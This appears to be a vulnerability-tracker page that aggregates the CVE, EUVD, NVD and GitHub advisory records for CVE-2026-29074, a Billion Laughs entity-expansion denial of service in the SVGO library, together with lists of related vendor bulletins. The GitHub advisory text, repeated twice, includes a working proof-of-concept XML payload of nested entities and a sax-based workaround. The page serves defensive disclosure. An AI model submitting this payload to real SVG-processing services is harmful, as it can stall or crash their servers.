SVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)
cve-program · CVE-2026-29074
PublishedSVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Read the publisher's advisoryeuvd · EUVD-2026-10022
PublishedSVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Read the publisher's advisorynvd · CVE-2026-29074
PublishedSVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Read the publisher's advisoryosv · GHSA-xpqw-6gx7-v673
Published### Summary SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with `JavaScript heap out of memory`. ### Details The upstream XML parser ([sax](https://www.npmjs.com/package/sax)) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the `DOCTYPE`, inserting them into `parser.ENTITIES`, and enabled `unparsedEntities`. This gives us the desired behavior of supporting SVGs with entities declared in the `DOCTYPE`. However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them. #### Proof of Concept ```js import { optimize } from 'svgo'; /** Presume that this string was obtained in some other way, such as network. */ const original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; optimize(original); ``` ### Impact If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size. It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines. ### Patches SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore. ### Workarounds #### == 4.0.0 For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively: For example: ```sh yarn up -R sax ``` New options were introduced upstream which makes the way SVGO parses SVGs safe by default. #### >= 2.1.0, <= 3.3.2 Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag. Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO. ```diff + import SAX from 'sax'; import { optimize } from 'svgo'; - const original =` + let original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; + const parser = SAX.parser(); + /** @param {string} doctype */ + parser.ondoctype = (doctype) => { + original = original.replace(doctype, ''); + } + parser.write(original); optimize(original); ``` ### Resources * [Wikipedia: Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-29074
PublishedSVGO: DoS through entity expansion in DOCTYPE (Billion Laughs)
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
- Source published
- 6 Mar 2026 07:23:05 UTC
- Source modified
- 10 Sep 2026 12:04:59 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-10022
PublishedSVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML wi…
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 6, 2026, 7:23:05 AM
dateUpdated: Sep 10, 2026, 12:04:59 PM
30 related source bulletins · separate from aliases
RHSA-2026:6309: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update
CVE-2025-69223 · CVE-2025-69873 · CVE-2026-1615 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-28498 · CVE-2026-28802 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-30922
RHSA-2026:13512: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
CVE-2025-69534 · CVE-2025-69873 · CVE-2026-6266 · CVE-2026-23490 · CVE-2026-25679 · CVE-2026-26007 · CVE-2026-27459 · CVE-2026-27606 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32597 · CVE-2026-39373
RHSA-2026:8484: Red Hat Security Advisory: Kiali 2.4.15 for Red Hat OpenShift Service Mesh 3.0
CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-40175
RHSA-2026:8483: Red Hat Security Advisory: Kiali 1.73.29 for Red Hat OpenShift Service Mesh 2.6
CVE-2025-61726 · CVE-2025-62718 · CVE-2025-68121 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-27606 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-40175
RHSA-2026:8491: Red Hat Security Advisory: Kiali 2.17.6 for Red Hat OpenShift Service Mesh 3.2
CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-40175
openSUSE-SU-2026:12070-1: velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
CVE-2025-0914 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-17535 · CVE-2026-18348 · CVE-2026-18636 · CVE-2026-18638 · CVE-2026-18639 · CVE-2026-18860 · CVE-2026-27601 · CVE-2026-29074 · CVE-2026-41650 · CVE-2026-45623 · CVE-2026-49356 · CVE-2026-5329 · CVE-2026-53550 · CVE-2026-55602 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-6290 · CVE-2026-64951 · CVE-2026-64952 · CVE-2026-64954 · CVE-2026-65903 · CVE-2026-65912 · CVE-2026-65913 · CVE-2026-65914 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-6863 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-6948 · CVE-2026-73086 · CVE-2026-73646 · CVE-2026-73650 · CVE-2026-7572 · CVE-2026-7573 · CVE-2026-84369 · CVE-2026-84370
RHSA-2026:48085: Red Hat Security Advisory: Red Hat Quay 3.18.0
CVE-2026-4427 · CVE-2026-27459 · CVE-2026-27962 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-32590 · CVE-2026-32591 · CVE-2026-34986 · CVE-2026-42039 · CVE-2026-48526 · CVE-2026-73086
RHSA-2026:6568: Red Hat Security Advisory: Red Hat Quay 3.15.4
CVE-2024-34156 · CVE-2024-45337 · CVE-2024-45338 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-68121 · CVE-2025-68158 · CVE-2025-69873 · CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-28498 · CVE-2026-28802 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32597
RHSA-2026:8490: Red Hat Security Advisory: Kiali 2.11.9 for Red Hat OpenShift Service Mesh 3.1
CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-40175
WID-SEC-W-2026-0935: Red Hat Ansible Automation Platform: Mehrere Schwachstellen
CVE-2025-69223 · CVE-2025-69873 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-30922 · CVE-2026-26007 · CVE-2026-1615 · CVE-2026-28498 · CVE-2026-28802
RHSA-2026:7110: Red Hat Security Advisory: RHACS 4.8.10 security and bug fix update
CVE-2026-25128 · CVE-2026-25535 · CVE-2026-25755 · CVE-2026-25896 · CVE-2026-25940 · CVE-2026-26278 · CVE-2026-27942 · CVE-2026-29074 · CVE-2026-31898 · CVE-2026-31938 · CVE-2026-33036 · CVE-2026-33186
RHSA-2026:13553: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Container Release Update
CVE-2025-69227 · CVE-2026-4800 · CVE-2026-23490 · CVE-2026-26007 · CVE-2026-27459 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32274 · CVE-2026-32597 · CVE-2026-33154
RHSA-2026:6926: Red Hat Security Advisory: Red Hat Quay 3.9.20
CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32597
SUSE-SU-2026:2019-1: Security update for cockpit
CVE-2026-0775 · CVE-2026-29074 · CVE-2026-4802
RHSA-2026:24977: Red Hat Security Advisory: RHOAI 2.25.7 - Red Hat OpenShift AI
CVE-2025-14813 · CVE-2025-48956 · CVE-2025-61726 · CVE-2025-62718 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-1462 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-23490 · CVE-2026-24747 · CVE-2026-25048 · CVE-2026-25960 · CVE-2026-27489 · CVE-2026-27893 · CVE-2026-28500 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-31958 · CVE-2026-32280 · CVE-2026-32597 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-34986 · CVE-2026-34993 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41240 · CVE-2026-41242 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043
RHSA-2026:19375: Red Hat Security Advisory: Red Hat Quay 3.16.4
CVE-2025-61726 · CVE-2025-62718 · CVE-2026-2377 · CVE-2026-4427 · CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-25679 · CVE-2026-27137 · CVE-2026-27459 · CVE-2026-27962 · CVE-2026-28802 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32286 · CVE-2026-32589 · CVE-2026-32590 · CVE-2026-32597 · CVE-2026-33186 · CVE-2026-33894 · CVE-2026-34986 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044
RHSA-2026:13826: Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.
CVE-2025-62718 · CVE-2025-69534 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40895
RHSA-2026:22465: Red Hat Security Advisory: Red Hat Quay 3.17.2
CVE-2025-62718 · CVE-2026-4427 · CVE-2026-27459 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32286 · CVE-2026-32589 · CVE-2026-32590 · CVE-2026-33186 · CVE-2026-33747 · CVE-2026-33894 · CVE-2026-34986 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496
RHSA-2026:19712: Red Hat Security Advisory: RHOAI 3.3.3 - Red Hat OpenShift AI
CVE-2025-6242 · CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-59057 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-62164 · CVE-2025-62718 · CVE-2025-64756 · CVE-2025-66031 · CVE-2025-66418 · CVE-2025-66448 · CVE-2025-66471 · CVE-2025-69223 · CVE-2025-69873 · CVE-2026-0846 · CVE-2026-0847 · CVE-2026-4800 · CVE-2026-21441 · CVE-2026-21884 · CVE-2026-22029 · CVE-2026-22778 · CVE-2026-23490 · CVE-2026-23745 · CVE-2026-24049 · CVE-2026-24486 · CVE-2026-24779 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-27893 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-31812 · CVE-2026-32597 · CVE-2026-32829 · CVE-2026-32981 · CVE-2026-33186 · CVE-2026-33231 · CVE-2026-33236 · CVE-2026-34986 · CVE-2026-40175 · CVE-2026-40192 · CVE-2026-40895
RHSA-2026:11856: Red Hat Security Advisory: Red Hat Quay 3.12.17
CVE-2026-4427 · CVE-2026-25679 · CVE-2026-27459 · CVE-2026-29074 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-34986
RHSA-2026:21017: Red Hat Security Advisory: Red Hat Quay 3.14.8
CVE-2025-61726 · CVE-2025-62718 · CVE-2026-2377 · CVE-2026-4427 · CVE-2026-25679 · CVE-2026-27459 · CVE-2026-29074 · CVE-2026-32280 · CVE-2026-32281 · CVE-2026-32282 · CVE-2026-32286 · CVE-2026-32589 · CVE-2026-32590 · CVE-2026-33186 · CVE-2026-33894 · CVE-2026-34986 · CVE-2026-39892 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044
SUSE-SU-2026:2005-1: Security update for cockpit
CVE-2026-0775 · CVE-2026-29074 · CVE-2026-4802
RHSA-2026:11916: Red Hat Security Advisory: Red Hat Quay 3.10.21
CVE-2026-4427 · CVE-2026-25679 · CVE-2026-27459 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-32286 · CVE-2026-33186 · CVE-2026-34986
RHSA-2026:9742: Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.
CVE-2025-62718 · CVE-2025-69534 · CVE-2025-69873 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-25679 · CVE-2026-26996 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175
RHSA-2026:5807: Red Hat Security Advisory: RHOAI 2.16.4 - Red Hat OpenShift AI
CVE-2024-25621 · CVE-2025-6193 · CVE-2025-12060 · CVE-2025-12638 · CVE-2025-12816 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-66418 · CVE-2025-66626 · CVE-2025-68156 · CVE-2025-69873 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-25223 · CVE-2026-25639 · CVE-2026-29074 · CVE-2026-32141
RHSA-2026:21772: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.
CVE-2025-14813 · CVE-2025-68121 · CVE-2026-0636 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-1605 · CVE-2026-2229 · CVE-2026-2327 · CVE-2026-5588 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32305 · CVE-2026-33252 · CVE-2026-33810 · CVE-2026-34742 · CVE-2026-35051 · CVE-2026-39858 · CVE-2026-40477 · CVE-2026-40478 · CVE-2026-40611 · CVE-2026-40895 · CVE-2026-40912 · CVE-2026-40972 · CVE-2026-40973 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044
RHSA-2026:6404: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update
CVE-2025-69223 · CVE-2025-69873 · CVE-2026-1615 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-28498 · CVE-2026-28802 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-30922
RHSA-2026:13545: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update
CVE-2025-68121 · CVE-2025-69227 · CVE-2025-69228 · CVE-2026-0598 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-6266 · CVE-2026-12382 · CVE-2026-23490 · CVE-2026-24049 · CVE-2026-25679 · CVE-2026-26007 · CVE-2026-27137 · CVE-2026-27459 · CVE-2026-27606 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-31812 · CVE-2026-32274 · CVE-2026-32280 · CVE-2026-32597 · CVE-2026-33154 · CVE-2026-33810 · CVE-2026-35029 · CVE-2026-35030
RHSA-2026:6277: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
CVE-2025-61726 · CVE-2025-68121 · CVE-2025-69873 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-27904 · CVE-2026-29074
RHSA-2026:8493: Red Hat Security Advisory: Kiali 2.22.2 for Red Hat OpenShift Service Mesh 3.3
CVE-2025-62718 · CVE-2026-4800 · CVE-2026-25679 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-40175
- Source published
- Mar 6, 2026, 7:23:05 AM (timezone not stated)
- Source modified
- Sep 10, 2026, 12:04:59 PM (timezone not stated)
- Saved here
- 13 Nov 2026 21:11:30 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2026-29074
PublishedSVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML wi…
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-776
Original publisher date fields
published: 2026-03-06T08:16:26.920
lastModified: 2026-09-10T13:18:03.533
1 source CPE criteria · context only
- cpe:2.3:a:svgo:svgo:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 6 Mar 2026 08:16:26 UTC
- Source modified
- 10 Sep 2026 13:18:03 UTC
- Saved here
- 25 Oct 2026 07:19:03 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-xpqw-6gx7-v673
PublishedSVGO DoS through entity expansion in DOCTYPE (Billion Laughs)
### Summary SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with `JavaScript heap out of memory`. ### Details The upstream XML parser ([sax](https://www.npmjs.com/package/sax)) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the `DOCTYPE`, inserting them into `parser.ENTITIES`, and enabled `unparsedEntities`. This gives us the desired behavior of supporting SVGs with entities declared in the `DOCTYPE`. However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them. #### Proof of Concept ```js import { optimize } from 'svgo'; /** Presume that this string was obtained in some other way, such as network. */ const original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; optimize(original); ``` ### Impact If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size. It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines. ### Patches SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore. ### Workarounds #### == 4.0.0 For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively: For example: ```sh yarn up -R sax ``` New options were introduced upstream which makes the way SVGO parses SVGs safe by default. #### >= 2.1.0, <= 3.3.2 Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag. Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO. ```diff + import SAX from 'sax'; import { optimize } from 'svgo'; - const original =` + let original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; + const parser = SAX.parser(); + /** @param {string} doctype */ + parser.ondoctype = (doctype) => { + original = original.replace(doctype, ''); + } + parser.write(original); optimize(original); ``` ### Resources * [Wikipedia: Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)
- Source published
- 4 Mar 2026 22:59:28 UTC
- Source modified
- 10 Sep 2026 03:50:41 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH